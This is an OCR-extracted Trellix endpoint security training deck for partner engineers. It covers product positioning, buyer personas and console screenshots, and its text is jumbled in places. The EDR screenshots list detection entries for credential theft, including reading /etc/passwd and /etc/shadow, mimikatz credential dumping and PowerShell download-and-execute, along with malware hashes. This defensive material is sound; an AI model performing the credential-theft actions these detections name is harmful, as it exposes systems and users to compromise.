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Ayed Benjamin Steen
Al Qartah Marandel Pedersen
Solutions Architect Solutions Architect Product Manager
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Use the following WIFI:

Before We Begin SID: Trellix2024

Password: Trellix.2024
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Please pay attention to the following items...

Silence Your Emergency Session
Devices Restrooms Exits Q&A Schedule

Please mute or turn Restrooms are The main exit is located We will have a The session is
off your smartphones located before  at the reception, ground  Q&A session at expected to last
and other electronic the elevators in floor, use the stair to go the end of the approximately
devices to minimize the center area. down. In case of an presentation. 3 hours with one
distractions during emergency, follow the Please save your 30 min. break.
the presentation. exit signs and proceed guestions until

calmly to the nearest exit. then.

TrellixX
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Endpoint Security
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e \Welcome
e Product Line Pitching
e Use cases & Demo Guidance
e Trellix EDR with Forensics
e Trellix Wise
e Partner SE Tools
e Point of Contacts
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Trellix XDR Platform Today
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(o) @ Third Party Data and Threat Intelligence
1 Cloud Connect 600 + Integration Partners

Managed Helix Connect for Extended Detection and Response

Services .}:S ::Q @ ] @ )

o Embedded Detection Gen Al-Guided Threat Automation
1 Intelligence Analytics Investigations Hunting Orchestration

. Security Controls for Enterprise Protection and Visibility
Strategic

Partnerships @ @ @ @

o) Endpoint. EDR Email and NDR and Malware
' with Forensics Protection Collaboration Apps Forensics Sandbox

Threat Intelligence

Trellix WISE Research and Operational Threat Intelligence

Insights

TrellixX



Trellix Endpoint Security Solution
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Trellix EDR with Forensics *
Trellix Endpoint Trellix EDR Trellix Trellix Device Trellix Application
Security (ENS) Forensics (HX) Control and Change Control
| o |

<3 <

K=al

Malware Threat Endpoint USB Device Deny /

Protection Mitigation Forensics Blocking Allow Lists

Trellix ePolicy Trellix Policy Trellix Desktop Trellix Host Data Trellix Mobile
Orchestrator Auditor Encryption Loss Prevention Security
Endpoint Compliance Protecting Protecting Protecting the
Management P the device the Data mobile device
T " X Trellix Endpoint Security Portfolio is very comprehensive, diverse devices, platforms, security tech
re I (proactive protection, broad range of detections, response actions, compliance, host DLP and encryption)




AN

Trellix Endpoint Security Products
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Trellix Endpoint Trellix Trellix Application and Trellix Host Data Loss
Security (ENS) Forensics (HX) Change Control (TACC) Prevention (DLP)

a0 o)X ‘;3 ra

Malware Protection Endpoint Forensics Deny/Allow Lists Protecting the Data

Trellix Desktop Trellix Endpoint Detection Trellix Mobile
Encryption (DE) & Response (EDR) Security (TMS)

] @ i

Protecting the device Threat Mitigation Protecting the mobile device

TreliX




Foundational Endpoint Security

BEFORE DURING AFTER
ATTACK ATTACK ATTACK
OROROSOR0
Manage Protect Detect Investigate Respond
A A

Visibility & Control over the full life cycle of all your Endpoints

TrelhiX
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BEFORE Machine Learning and
The Attack Advanced Remediation
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ML Protect

Block zero-day malware before it executes with static analysis machine learning
and dynamic behavioral cloud based machine learning

v

ML Protect Static
(Pre-Execution)
Detect malware based on pre-execution static binary Detect dynamic behavior of Greyware on the endpoint,

analysis using machine learning and comparison to compare to known malware behaviors for a match via
known malware attributes behavioral cloud-based machine learning

v

ML Protect Dynamic
(Post-Execution)

Pre-and Post Execution is critical to maximize your detection capabilities.

TreliX



BEFORE Optimize Endpoint Security Posture
The Attack -Exploit Protection
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Filter Exclusion
Exclusion Type [File - Process - Registry ]
Type: Severity:
Files Buffer Overflow (Windows only) | High e
) M Medium
Services  (Windows only) lllegal APl Use  (Windows only) . i
. ow Process o
Registry  (Windows only) Network IPS  (Windows only) e :
M Processes .
= Exclude:
Quick find: e User/Group ID
Show selected rows s
ol Clear e File/Hash
D e Process /Signer
~ Name .
e Signatures !!
6134 T1562 - Evasion Attempt: Suspicious AMSI DLL Loading Detec
6133 T1562 - Evasion Attempt: Suspicious AMSI DLL Creation Dete

Tuning Exploit Protection Policy: ikatz using

* Includes Many Rules covering MITRE

* Enable with “Report” first
e Granular Exclusions possible

6115 T1055 - Fileless Threat: Reflective DLL Remote Injection

Signatures Signatures ID (comma-separated)

TrelliX Countermeasures for entry vector threats
https://kcm.trellix.com/corporate/index?page=content&id=KB918



https://kcm.trellix.com/corporate/index?page=content&id=KB91836
https://kcm.trellix.com/corporate/index?page=content&id=KB91836

BEFORE Optimize Endpoint Security Posture
The Attack -ExpertRules

5://github.com/trellix-ent ‘tree/main/TRELLIX & o=

/711 1TV N NNNSNS

O Product Solutions Open Source Pricing Sign in ‘ Sign up ‘

T1570_Lateral Tool Transfer-File Modification From A R... Renamed McAfee to Trellix

T1175 - COM - WMI using PowerShell WMIC MSHTA VB...  Renamed McAfee to Trellix
D q hell d McAf I
& trellix-enterprise / ExpertRules ' pubiic
[ T1175-COM - Word.Applicatiaa
<> Code (@ lssues 1 {9 Pullrequests ( Actions [ Projects @ Security 0O T1175-COM - Word.Ag Extensible Detection and Protection e
Za [ T1204_Payload_executi
i s [ ]
# main v  ExpertRules / TRELLIX / 3 T1222_Windows File_a Expert Rules
T1486_Attempt_to_En H
St aaas * MITRE Mapping
pradeep-bhandary Merge pull request #15 from mcafee-enterprise/15Mar2 [ T1503 - Credentials frd
° .
[ T1547.001_Registry_Ri Sources -
BB ACCESS_PROTECTION updatandesd | D T1H47004 Winlagsr o) |I"ISIg hts Recommendations
T1547.005_S ity_Si
BB  DEFENSE_EVASION Create Raspber O R o KBs
[ T1548.002_UAC_Bypas
B8 GENERIC_RULES Renamed McAfqg .
[ T1552_Credential in_Red o GitHub
B8 MALWARE_BEHAVIOR icedID, Dridex al
T1561_MBR_protection_through_DISK_REGION_matchin...  Renamed McAfee to Trellix
B p g
BB PAYLOAD_EXECUTION moved file from
[ T1561_MBR protection_through_LBA_matching_criteria...  Renamed McAfee to Trellix
I8 PRIVILEGE_ESCALATION Create CVE-202 ) ) ) )
[ T1569_Service_execution_using_PSExec.md Renamed McAfee to Trellix
D
O

T1570_Lateral_tool_transfer-Host_to_Remote.md New COM Hijacking using Powershell and update to Rule T1570

Expert Rules GitHub Repository
Trelhix https://github.com/trellix-enterprise/ExpertRules



https://github.com/trellix-enterprise/ExpertRules

BEFORE
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Protection against entry vector Threats (KB91836)

Below are the countermeasures. Click to advance to the section that you want to view:

« ENS Adaptive Threat Protection (ATP)
« ENS Dynamic Application Containment (DAC)

« ENS Threat Prevention Antimalware Scan Interface (AMSI)

« ENS Exploit Prevention

« ENS Exploit Prevention Expert Rules

« ENS Access Protection default rules

« ENS Access Protection custom rules

« ENS Firewall Rules

« VSE Access Protection default rules

« VSE Access Protection custom rules

« Host IPS signatures

« MSME antispam and on-access scan policies
« More user recommendations

Campaigns  Threats  Profiles CVEs  MITRE Explorer  View more ~

Campaigns > CVE-2021-40444 - Microsoft MSHTML Remote Code Execution Vulnerability

Overview Your Environment Indicators of Compromise (I0Cs) ® Hunting Rules

Yara Rules Sig iles Trellix Defense Rules

v Rule - EDR Real-Ti

Categories

[[] EDR Real-Time Search

jefense to detect malicious activity.

Include OBJECT_NA}
Include DLL_LOADEL

ch SECTION

Include OBJECT_NAME {

Countermeasures for entry vector threats
TrelliX nttps:/kem.trellix.com/corporate/index?page=content8id=KB91836

Optimize Endpoint Security Posture

The Attack -—ExpertRules

Connections @

SE, EDR, Endpoint, etc..)

SE, EDR, Endpoint, etc..)

mshtml



https://kcm.trellix.com/corporate/index?page=content&id=KB91836
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TrelliX

BEFORE
The Attack

= Trellx

SECURITY POSTURE SCORE

» ©® Content

‘ ® Zero-day 0%
4 |
Configuration 32.35%

@ Detection Prevale... 100%

1. Visibility:
Zero-day protection not
enabled

Security Posture Score

Endpoint

Endpoint Score

@ Read how endpoint scores are
. calculated

Content @

1 Recommendations

Zero-day @
5 Recommendations

10 Recommendaibns

Dgtectigh Prevalence @

0 Regdmmendations

2. Recommendations:
five actions to improve
Zero-day protection

Optimize Endpoint Security Posture
— Scoring based on attacks

Zerofday Closeall X
Expand all

Components

2 Recommendations

Scan Configuration

2 Recommendations

Enhanced Script scanning not compliant

Credential Theft Protection not compliant

Action Enforcement
1 Recommendations

Enhanced Remediation not enabled
How you can do

Go to Policy Catalog | Endpoint Security Adaptive Threat
Protection | Options

3. Action:
jump to Policy Catalog




BEFORE
The Attack

Campaigns Threats Profiles CVEs MITRE Explorer  View more

Determine Potential Impact

/711 1TV N NNNSNS

Campaigns > CVE-2021-40444 - Microsoft MSHTML Remote Code Execution Vulnerability

Overview Your Environment Indicators of Compromise (I0Cs) ® Hunting Rules Connections ©

Yara Rules Sigma Rules Trellix Defense Rules

A Rule - EDR Real-Time Search
McAfee defense to detect malicious activity. (ENS, VSE, EDR, Endpoint, etc..)

HostInfo hostname and LoadedModules where e contains and LoadedModules

Categories

module_name contains

[C] EDRReal-Time Search

Proactive Search
Realtime queries from Insights to EDR
Identify devices on risk

TrelliX




BEFORE
The Attack Dormant Threat

Campaigns > Higesa Recent Attack 2020 SearchBy ~

Overview Your environment Indicators of Compromise (loCs) L P ro a Ct i Ve S e a rC h

Perform a Real-Time Search of selected loCs in MVISION EDR

Select up to 10 IoCs from this Campaign as input for Real-Time Search in MVISON EDR ° Re a I - I I ' ' I e
ruTeRs queries from

Threat Name

loC Type loC Value Threat Name Classification Devices Impacted Prevalent In Sectors Prevalent In Countries .
0 oo Insights to EDR

[ RO GENERIC SHA256 1B978324DF504451C2A3430E3... TROJAN-AGEN... TROJAN Not Available Not Available
DOWNLOADERX
500B6037DDBSEFFFODD91F75... RTFOBFUSTRE... TROJAN Not Available Not Available [ | d e n t I fy d evl Ce S
F2C60274E625BCB051909797B... RDN/GENERIC ... TROJAN Not Available Not Available . k

/711 1TV N NNNSNS

[0 ron/GENERIC EXPLOIT
[0 ron/GeNERIC.DX
[J RON/GENERIC.GRP
[ RTFOBFUSTREAM.A
1086460BS04B6E2FFABBFES7A... TROJAN Not Available Not Available
[ TROAN-AGENT.E
O unknown SHA2s6 5801EAAABIDESOFFB445637C... RON/GENERIC.... TROJAN Not Available Not Available

Classification italy

020EAB433B473BA04DOEOGBA... Not Available Not Available Not Available 2

[J AssumeD_DIRTY4
O notAvailable AFBCDODDA6988F3151A08DAS... Not Available Not Available Not Available Not Available
[J TrRoman
3EB72D69652582968A528BC6... RDN/GENERIC.... TROJAN Not Available Not Available
Prevalent In Sectors
SHA256 06848673D622A6F8F7761FDEO. TROJAN Not Available Not Available

Prevalent In Countries

[ israel

O ray Rows perpage: 10 v 110011

O
O
O
(m]
(]
O
(]
O
(]

9603EA7CE6935F693721D3A09... RDN/GENERIC ... TROJAN Not Available Not Available

Selected Rows

Real-Time Search in MVISION EDR [}
1b978324df5.

TrelliX




BEFORE
The Attack
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ldentify Weakness
— MITRE ATT&CK Explorer

Campaigns  Threats Profiles  CVEs

Selected Campaigns: | The Stealthy Email Stealer in the TA...

MITRE Explorer  View more ~

B1txor20 Backdoor Spreading Via L... FINTEAM: Trojanized TeamViewer A...

R — I

™ Gother Victim Network Informa.

I BT b  Accos oken Msipuistion
14 2

p
47 35

Number of Matches @ A

>5
4
3

2
| §

TrelliX

MITRE Explorer

Technique : Lateral Tool Transfer

Adversaries may transfer tools or other files between systems in a
compromised environment. Once brought into the victim
environment (i.e. Ingress Tool Transfer) files may then be copied from
one system to another to stage adversary tools or other files over the
course of an operation. Adversaries may copy files between internal
victim systems to support lateral movement using inherent file
sharing protocols such as file sharing over
SMB/Windows Admin Shares to connected network shares or with
authenticated connections via Remote Desktop Protocol.(Citation:
Unit42 LockerGoga 2019)

Files can also be transferred using native or otherwise present tools

on the victim system, such as scp, rsync, curl, sftp, and ftp.

Tactic Lateral Movement

Technique Id T1570

Associated Campaigns

Chimera APT Abusing Cloud Services ‘

Exposing LemonDuck and LemonCa... ‘

BabLock Ransomware Targets Asia, ... ‘

+ 89 more




BEFORE Optimize Endpoint Security Posture
The Attack -ExpertRules

Proactive Attack Threat Prevention

Surface Reduction
Allow/Block-listing (Hash + Cert)
Detections
Exgd Host Firewall oo
. Static Machine Learning Positives
Pre-execution

/71 11TV NNNNSS

Insights Threat
@ Intelligence &
Security Posture

-
I‘P((; Web Control

.r Device L] L] L] L] L] o (] (] ° () () (] L] [ (] ° L] () [ ] ° L] () [ ° L] o (] °

X control Post-execution
App Containment
Dynamic Machine
Learning

Application

Control

Exploit Prevention
Access Protection

TrelhiX
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DURING Endpoint Detection & Response
The Attack -Detect hidden threats

= TrellX | EDR a m & A

77111

Monitoring 2 U

Total Threats High Medium 3 minutes ago Past 30 days v

Threats by Rankingv MeatGrindRR_Fir... « | Threat Details

Initial trigger Trace detection > Device: | MUC-SRV-CSI Apr 26, 2023 1:56:21 PM 1 affected devices Device Actions
T First detection Apr 26,2023 1:56:21 PM
= | 4 Last detection Apr 30, 2023 7:10:13 AM v Threat Behavior

Affected devices 1 5

5
. .
May 3, 2023 Age Eiavs Proc Filesystem T1003.007 (Credential Access) EPP Detection: Identify suspicious command pa Immedlate ACtlons

chrome.exe
7:12:19 AM

Take Action v letc/passwd and /etc/shadow T1003.008 (Credential Access) Attempt to extract plaintext credentials from m Q t'
Powershell script ® uarantine

System Network Configuration Discovery T1016 (Discovery)

v Process Attributes (Experimental) Process excuted remotelly via PS ° K- " P
SMB/Windows Admin Shares T1021.002 (Lateral Movement) I rocess

Suspicious file downloaded and executed by Po

.
Credential dumping attempt detected by mimik © De Iete FI Ie

Apr 30, 20...

MeatGrindRR_Firmware_Up...
7:10:13AM

E D R jde v1337.exe Windows Remote Management T1021.006 (Lateral Movement)

v Process Activity

Highly Aggregated and Prioritized =~ ===
Threats IC9CA63F

Combining EDR Detection and ENS ...
Threats R

MITRE Mapping ot

whoaml.exe

Sequential View

Filter events ¥ Filtered by Severity Showing 9 of 74 events

TrelhX
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DURING Optimize Alert Triage
The Attack -Al-guided Investigations

77111

1.
2,000 artifacts analyzed,
= TreliX | EDR narrowed down to 252 key
and 8 findings
Search ~—

2 minutes ago
<All Investigations

Suspicious Winword Behavior
Last updated: 19 days ago

%)) Finding Details (7]

Artifacts | ¢ o g yAv).

Reybindioes Key Ardracts alibcs V Processes running from suspicious directories

- mvesugauun Guucs

Artifact type

Artifacts (7]
Show | Answered questions

Device (external)
A @O  MVWin10-2
Is there any process opening a socket that Other (external)

o nor cothmanty do fe¢ | | Device (internal) @D  C\Users\Base\AppData\Local\Microsoft\O...
Sockets being opened by processes which I Other (internal)
do not commonly do it an C:\Users\Base\AppData\Local\SquirrelTem...

Does the endpoint contain processes en C:\Users\Base\AppData\Local\Temp\CEB6...
running from suspicious directories?
= — oD C:\Users\Base\AppData\Local\Microsoft\Te...
Processes running from suspicious
directories

oD C:\Users\Base\AppData\Local\Microsoft\Te...

Does the endpoint contain evidence of
malicious auto-start entries? en C:\Users\Base\AppData\Local\Adobe\C9D...

Files referenced in auto-start entries with

: : oD C:\Users\Base\AppData\Local\Temp\E6367..
suspicious indicators

Does the endpoint contain evidence of an C:\Windows\SysWOW64\explorer.exe

K- FileCoAuth.exe
2 3

Trellix automatically Graphical view of step 2 results to
provides answers to the guide the analyst to get further

Tre"|x/ SOC analysts details




DURING

VAN~

» Broad Visibility
* Flexible Retention

* Always-on data
collection

« Data Visualization &
Search

* Robust Response

TrelhiX

Effective endpoint alert

-The Attack triageand prioritization  workflows

@ &

Visibility Detection

Trellix Insights

Threat
Intelligence

<

Response Investigation

Simpler investigation

* File and Fileless
threats

* MITRE framework
driven detection and

mapping

* Force-multiply
expertise with Al

* Automatic Alert
Triage




¢I‘I|:-eril::tack Alert Timeline and Triage Viewer

Show timeline of
a I e rtS Resea rCh-1 G n CONTAIN CANCEL CONTAINMENT REQUEST

/771 1TV NNNNSS

H I'f' iexplore.exe -z sares: 20210502 14:41:36 8622 [ Acquine process peraws |
Simplifies
investigation

Filters results based
on selection

Red Dot shows Mopis
indicator trigger

B processes
m 2021-0602 14:17:41.0752 to 2021-06:02 14:42:46 8142

Full triage download :
for deeper analysis P -

7 Domains

104.18.10.39

104.18.11.39

TrelliX




AFTER -
The Attack Data Acquisitions

Actions FILTER BY:

9 2 8 Acquisition type Status Requested by Platform
Actions

All All Not Enricher All

/771 1TV NNNNSS

Acquisitions

Run a Malware Scan

Restart Agent

Cancel containment request
Contain

Actions 0 acquisitions selected 301 - 350 of 928

Acquire Hostname IP Address Requested 1 Acquisition Download Size Status
Single File
Triage
Multiple Files
Standard Investigative Details victim-win10-AQ 10.12.10.174  14daysago  Triage (automatic) 6.3MB 5 Acquired
Comprehensive Investigative Details
Quick File Listing

Command Shell History victim-win10-AQ 101210174  14daysago Do Commandshell -, g 8% Acquired
Process Memory

History
river Memory victim-win10-AQ 101210174  14daysago Dot PowershellHisto oo, g 8% Acquired
ry (From Event Logs)

VICTIM-7FHSOH5 10.12.10.136 14 days ago Triage (automatic) 6.2MB 85 Acquired

victim-win10-AQ 10.12.10.174 14 days ago Data: Quick File Listing 28.4MB 85 Acquired

Full Memory
Raw Disk victim-win10-AQ 10.12.10.174 14 days ago Data: Raw Disk 26.3GB 85 Acquired

PowerShell History (From Ev

101 victim-win10-AQ 10.12.10.174  14daysago  Data: Full Memory 2.4GB 55 Acquired
test

VICTIM-7FHSOH5 10.12.10.129 14 days ago Triage (automatic) 15.4MB 5 Acquired

TrelliX




AFTER Logon Tracker
The Attack - Lateral Movement Detection

/771 1TV NNNNSS

__ SR e, e || ke Analysis typically

starts with a clue
(an account or a
host)

PIOSjz0- > _20-rhel 770 ESSentIall to .
sl é [ — gather historical

SEARCH ALERTING
RULES

GROUPS EXPORT CSV TOGGLE COLLAPSE

P

if / logon data
/ Account, host,

Raw logon data P g Scs 10/35.133.57 ,
- / e gz“‘““"‘“ and logon

Logons metadata
speeds up
analysis

2021-05-04 A reconnect success WINBMUTSCSS 10.35.133.57 Administrator win8mutScs 10.61.166 CAWindows\S...
2021-05-04700:32 unknown unknown WINBMUTSCSS 10.35.13357 Administrator win8mutscs 10.61.166.163 C:\Windows\S.
2021-05-04T00:32-. rdp reconnect success (Not Avail) 10.35.133.67 Administrator win8mut5cs 10.61.166.163 (Not Avail)
2021-05-03T17:117:2 ssh password success (Not Avail) 10.35.133.57 qauser 10-rhel-77--0 10.61.165.126 uss/sbin/sshd

2021-05-04700:32-. network unknown success (Not Avail) 90-g9195j20- 10.35.133.57 Administrator winB8mutbcd 10.61.166.16. (Not Avail)

I rel I I x/ 2021-04-29717:45: ssh password success (Not Avail) 10.36.132.209 qauser centos-8-x6-0 10.61. 1€ (Not Avail)
2021-04-20717:43:1. ssh password faided (Not Avail) 10.35.132.208 qauser centos-8-x6-0 10.67.165 (Not Avail)




AFTER
The Attack
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<) ENDPOINT SECURITY

Remediation Session

TrelliX

Host Remediation
— Remote Shell

DASHBOARD

ALERTS

HOSTS

ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN

WIN73a913c4cace

@ Connected

Host Info

10.61.153.181
Windows 10 Enterprise

32.30.0

Use Custom Script

Upload your script and execute on the host

a Drag file here or

i DOWNLOAD AUDIT TRACE

MODULES

®

Remote
Console

Audited

Kill processes
Remove Files
Scriptable




AFTER Rapid response Root cause understanding,
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The Attack g?&iﬁ!'tles 0 eIz and remediation
Investigation Response
Enterprise @ Quick
Search Containment
Forensic .
labilit

Acquisition Scalability

@ Attack Summary Off Network
and Audit Viewer Investigation

TrellixX




AFTER
The Attack

Event Streamer Security €

Windows Event Log Forwarding

/711 1TV NNNNSS

The Event Streamer module provides the ability to send Windows Event log data directly to Helix or a Syslog server. system  ©

———n
Enable Event Streamer on the host I\ON ./I

Terminal Services €

Destinations
Task Scheduler €

Ve
| ON

Stream to FireEye Helix —.\ Powershell €

Enable this setting to forward Windows event logs to your FireEye Helix instance.
Windows Defender €3

No syslog destination has been added yet . .
ADD SYSLOG DESTINATION ] fipfatonEgennce e

Start by adding a syslog destination for forwarding Windows event logs. = =
Add Syslog Destination
Application €

Add the syslog destination you want to connect and send your Windows event logs to.
Name

AppLocker ©

IP Address

TrelliX

Printer Service €9
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An Endpoint Security
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Powerhouse Before During After

. . . ENS EDR Forensics
Optimize all your Endpoints Protection

* Manage at Enterprise Scale, on-prem & cloud

X
[T)
» Desktop, Servers & Fixed functions devices 8
wd
* Proactively Protect against sophisticated threats <
Prevent Detect Respond
Simplify & Improve Triage, Investigation & Response File-based & AI/ML Detections Data
. . . . Behavioral Acquisition
» High Fidelity Endpoint Alerts and Telemetry protection Realtime and
Historical Hunting File
* Al Guided Investigations Unique Intelligence Acquisition
Sharing Fabric Al Guided
Investigations Host Remediation /
Rollback Console
Minimize |mpact Remediation Threat Intelligence
) ) ) powered
* Real-Time Blocking and Containment at Scale C;§torT1tizable Detections
ignatures
* Endpoint Forensic & Root Cause Analysis
Sandbox

integration
TrelixX




Endpoints are foundational to
cybersecurity
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Before, During
... And we offer a & After the Attack

fully-featured
solution

Customers need capabilities
before, during, and after
attacks to protect

their endpoint attack surface

A Foundation Modern &

Comprehensive

A Proven endpoint
Endpoint security is security pIatfqrm _that'
foundational to every secures organizations
organization’s security endpoint estate and

program minimize costs and risks

TrelhiX




Trellix Endpoint
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New SKU for Comprehensive Endpoint Coverage

New SKU Rich Investiaation Adv Threat Threat Attack
(TRXE - Protection & Res gonse Forens.ics Intelligence Response Surface
March 2023) P Prioritization at Scale Reduction

Component Forensics App/Device
Control

SaaS and On-prem Mgmt

TreliX
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Trellix Endpoint Security Offerings

Endpomt Attack Surface Threat Vit Cloud Bl

Protectio . Response at Adv.
Reduction Intel EDR .

Capabilities n Scale Forensics

App. Threat

Control for Insights Intelligence Forensics (HX)

Desktops Exchange (TIE)

Device
Control

Saas and on-prem management (ePO) included with every SKU

MV1 EPP (ENS) X X

MV2 EPP Plgs (ASR, TIE X X X X X
and Insights)

MV6/7 EPP Plus + EDR X X X X X X

TRxg EPPPlus+EDR+ X X X X X X X
Forensics
EPP Plus + EDR +

TRXHX Forensics X X X X X X

(on-prem only)




Automated
Security Trellix Responses and
Tools XDR Platform Playbooks

@  Trelix ~ Initial Access, Execution, Exfitration and Co... (ID: #124)  (Q s | SandbOX 1
I Enrichment :

Partially Blocked =)) e e e e e -

Initial Access, Execution, Exfiltration and Command & Control

Email, Endpoint, Network, DLP and a Third-Party Identity Vendor

MITRE ATT&CK Techniques I 1

1 Disabling AD

Network e Recommended Actions . ._ _ 1
J el o ' mmetn gl ™ Quarantine I

Billi :
Threat ,  Endpoint

3 Party

sinkhole FQDN DNS Re...

! . 1
rmesrcommn.. © ™ Quarantine I

S Cloud |
Instance

Cloud

Review Defensive Playb... °

Data
Protection

1 ServiceNow !
I Ticket :

TrellixX
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Trellix XDR Tour
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trellix.com/tours/xdr-tour/

To get started with the
Trellix XDR tour, please
fill out this form and

click Submit. When

you're done, you can Tl‘e"I)(
request a demo directly o

from the tou r to Welcome to the Trellix XDR self-guided tour.
|earn more Click below to begin.

TrellixX

Copyright © 2024 Musarubra US LLC. | All Rights Reserved - Trellix Confidential
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Key
Use
Cases

Endpoint
Security
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Endpoints are a
constant target for
attackers

TrelliYX

1)

2)

3)

4)

Complex Endpoint Attack Surface
Gaps in coverage and misconfigurations can lead
to increasing cost and risk of attacker dwell time
and costly incidents

Ransomware attacks cause damage
Ransomware quickly blocks access to systems and
data causing impact to users and organizations

Inefficient Endpoint Alert Triage

Noisy alerting and false positives increases alert
fatigue and the risk of critical alerts being ignored,
leading to costly incidents.

Impactful Endpoint Incidents

Endpoint incidents must be contained, and scope
and root cause must be understood to resolve and
prevent incidents from reoccurring
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Organization Profiles:

Low to Medium Maturity —
Manage and Protect Focus

Minimal resources dedicated to security
SLAs and business uptime the priority
Industries/geos with on-prem mandate
Starting a SOC initiative

Low to Medium Maturity —
Manage and Protect Focus

Considers endpoints as fundamental to the SOC

Seeking SOC excellence
Striving for more proactive security posture

TreliX

Foundational Endpoint Security for Strategic Security Initiatives

Key Persona Concerns:

CISO

Economic Buyer
e Minimize Risk
e Minimize Cost

SOC Manager / Security Architect
Technical Buyer

» Operational Efficiency

* Metrics: E.g. MTTD, MTTR

» Staff Effectiveness

SOC Analyst

Influencer

« Daily successful execution
- Deploy and Configure

- Detect and Respond
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Complex Endpoint Attack Surface

\
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Optimize Protection on Endpoints
Trellix Promise
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TreliX

CISO
Economic Buyer
Minimize cost and risk protecting

endpoints in complex environments
with consistent security baselines.

SOC Manager / Security
Architect

Technical Buyer

Manage and protect the entire
endpoint estate efficiently

and effectively.

Why Trellix?

—os7/7 71 L VANNNSSSNNN\\N\NVNL I/ V27—

Broad endpoint coverage, on-prem
and cloud management

Enterprise management and
automation at scale

Security posture optimization with
threat intelligence
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Use Case: Complex Attack Surface

Optimize Protection

Scenario

An organization isn't aware
of what protection controls
have been configured in

their endpoint estate. They
haven't enabled zero-day
protection in ENS.

TrelhiX

Result

An organization is hit by
ransomware and deals with
costly impact due to
insufficient security being
enabled.

Solution

Trellix Insights shows
security posture status and
guides customers to where
they can enable advanced

protections that are part of
ENS.
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Complex Attack Surface

TrelliX




TreliX

% FAVORITES @ TrollixInsights  Protoction Workspace  Trell Produce Tog Catalog  Policy Catalog  TIE Reputations  System Tree  Threat Event Log
SECURITY POSTURE SCORE A CAMPAIGNS BY SEVERITY GAMPAIGN DETECTIONS DEVICES DEFENSIVE PLAYBOOKS
| LXPOSLD INSUFFICIENT
4 Rurcesalved BHesalued o CNOPOINTS
o 1 3
Contont 0% - a5
@ Uone 0
0% Y 2y o @ Madium 180 1 /66 2 /66 'I
" e ) Pending 1
o o Configuration 0% ol i ¥ - 9
o Detoction Prevale, %
Past 10 doys
® Vulnorability Auso... 0%
Campaigns  Threats  Profiles CVEs  MITRE Explorer  View more ™ oarch Insigh Q
Requiring Attention (1085) ® All Cam 5 (301 Campalgn Connections @
County sty
W Q dearch campa Nar Tolncam b4 United States Last Dotocted
Detoction Comparison @ Your Dovices
Campaign You Talecom UsA Worldwide Exposad Endpaints @ Inenfficiant Coverage @ Defonsive Play,, © Last Detectad @
Threat Profile: DarkPower Ransomware [ ] . L] ® 0 0 D) 0] 6 doys ago
Operation Iron Ore o . L] ° 1 S | 0] 0] © duys ugo v
The Stealthy Email Stealer in the TAS05 Arsenal L] @ ® L] 0 1 10 10 Never
BlueNoroff APT Group Targets macOS With RustBucket Malware ° ° [ ] L] 0 a @ Nevar
Bitxor20 Backdoor Spreading Via Log4j Vulnerability ° ° © L] 0 1 (D) ® Nover

Shawing 1-6 aut of 3017 rows | 1 2 3 4 6 . 604 > > ShowSrovs v
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Ransomware Attacks Cause Damage
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Solution: Rapid Response Process Blocking and Rollback

Trellix Promise Why Trellix?
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Ciso TIE - Rapid Response Process
Economic Buyer Blocking
Minimize cost and risk from

ransomware with advanced rapid

response and rollback « Rapidly block new attacks across

endpoint estate with Threat

SOC Manager / Security Intelligence Exchange
Architect
Technical Buyer « Ransomware Rollback

Quickly block new ransomware variants
and avoid costly impact with automated
remediation.

TreliX




Use Case: Complex Attack Surface
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Optimize Protection

Scenario Result Solution

Trellix Threat Intelligence
Exchange allows admins to
Endpoint data is encrypted | immediately block new
and the organization is at process throughout an
risk of increased scope of estate and enhanced
damage. remediation automatically
restores encrypted data.

A new ransomware variant

is executed on an endpoint.

TrelhiX
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Ransomware Attacks Cause Damage

TrelliX
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Simplify Endpoint Alert Triage
Trellix Promise
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TreliX

SOC Manager / Security
Architect

prove endpoint team efficiency
and MTTD/MTTR for endpoint

investigations
SOC Analyst

Influencer

Minimize alert fatigue and time spent
investigating endpoint alerts.

CisO

Economic Buyer

Minimize risk of incidents resulting
from unattended endpoint alerts

Inefficient Endpoint Alert Triage

Why Trellix?
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» High-fidelity detections, low false
positives

* MITRE Tactic and Technique

« Al Guided Investigations
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Use Case: Inefficient Alert Triage

Al Guided Investigations

Scenario

Solution

SOC analysts who need to
triage endpoint alerts are
overwhelmed and don't
know how to efficiently
investigate alerts where they
might need to take action.

An organization is hit by
ransomware and deals with
costly impact due to
inefficient alert triage and
investigation.

Trellix EDR Al guided
investigations answer
guestions for the SOC
Analysts and allow them to
quickly contain incidents..
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Inefficient Endpoint Alert Triage

TrelliX
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Monitoring

Threats by Ranking

Filter by keyword

View | All

21303_cutepuppyjpg. exe
18972_cutepuppyjpg.exe
22997_cutepuppyjpg.exe
31025_cutepuppyjpg.exe
26126_cutepuppylpg.exe
24252_cutepuppyjpg. exe
8762_cutepuppy|pg.exe

£ explorer.exe

Monitoring

Sep 5,2023
11:11:30 AM

Sep 5, 2023
2:14:34 PM

Sep 5, 2023
2:54:09 PM

Sep 5, 2023
2:56:43 PM

Sep 5, 2023
10:22:18 AM

Sep 5, 2023
2:08:42 PM

Sep 5, 2023
21434 PM

Sep 5, 2023
2154:09 PM

Total Threats High

21303_cutepuppy...

Initial trigger Trace detection
First detection Sep 5, 2023 11:11:30 AM
Last detection Sep 5, 2023 11:11:30 AM
Affected devices 1
Age 3 hours.
@ Action
v Process Attributes %

First Name
21303_cutepuppyjpg.exe

MDS
EB2A3D1CB5C1 2BE0217695750663F 264

SHA
B1DBD1831C233CD979C00BOFE62D302
E520086FC

SHA-256

9921664077DF3873956C7EA1 2376D44A
7FFICEF198DBABDFAE4CDED 1 BSECDO4

0 |

Medium Low

Threat Details

> Device: || 284793 jnetz-FINANCE ~ Sep 5, 2023 11:11:30 AM
v Threat Behavior

Techniques Observed(20)

v Process Activity

1 affected devices

MITRE ATTA&CK™ Matrix

Suspicious Indicators(21)

a few seconds ago

Device Actions

(53

3days
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Impactful Endpoint Incidents

/
/
/
s
-
-
~
~
N

Minimize Impact from Endpoint Incidents ]
Trellix Promise Why Trellix?
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SOC Manager / Security Architect « Rapidly block new attacks across

Technical Buyer endpoint estate

Minimize impact from incidents and

understand root cause « Contain and investigate endpoints at

scale

SOC Analyst
g Influencer * Understand scope with adv. Forensics
" Contain incidents quickly and verify

incident is resolved « MDR options for added expertise

CIsO
Economic Buyer
; Ensure endpoint incidents don't lead

to costly outages or headlines
TrelliX Y outag
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Use Case: Impactful Incidents Reoccur

Root cause analysis to prevent reoccurring incidents

Scenario

Result

Solution

An organization is hit by
